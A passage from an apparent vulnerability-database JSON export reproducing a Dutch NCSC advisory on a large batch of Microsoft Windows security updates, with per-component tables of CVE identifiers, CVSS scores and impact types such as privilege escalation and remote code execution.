|\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:00:59.470658Z"}, {"uuid": "d7c6ba96-8e16-415c-a5ee-9b0e0a429e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54982", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| 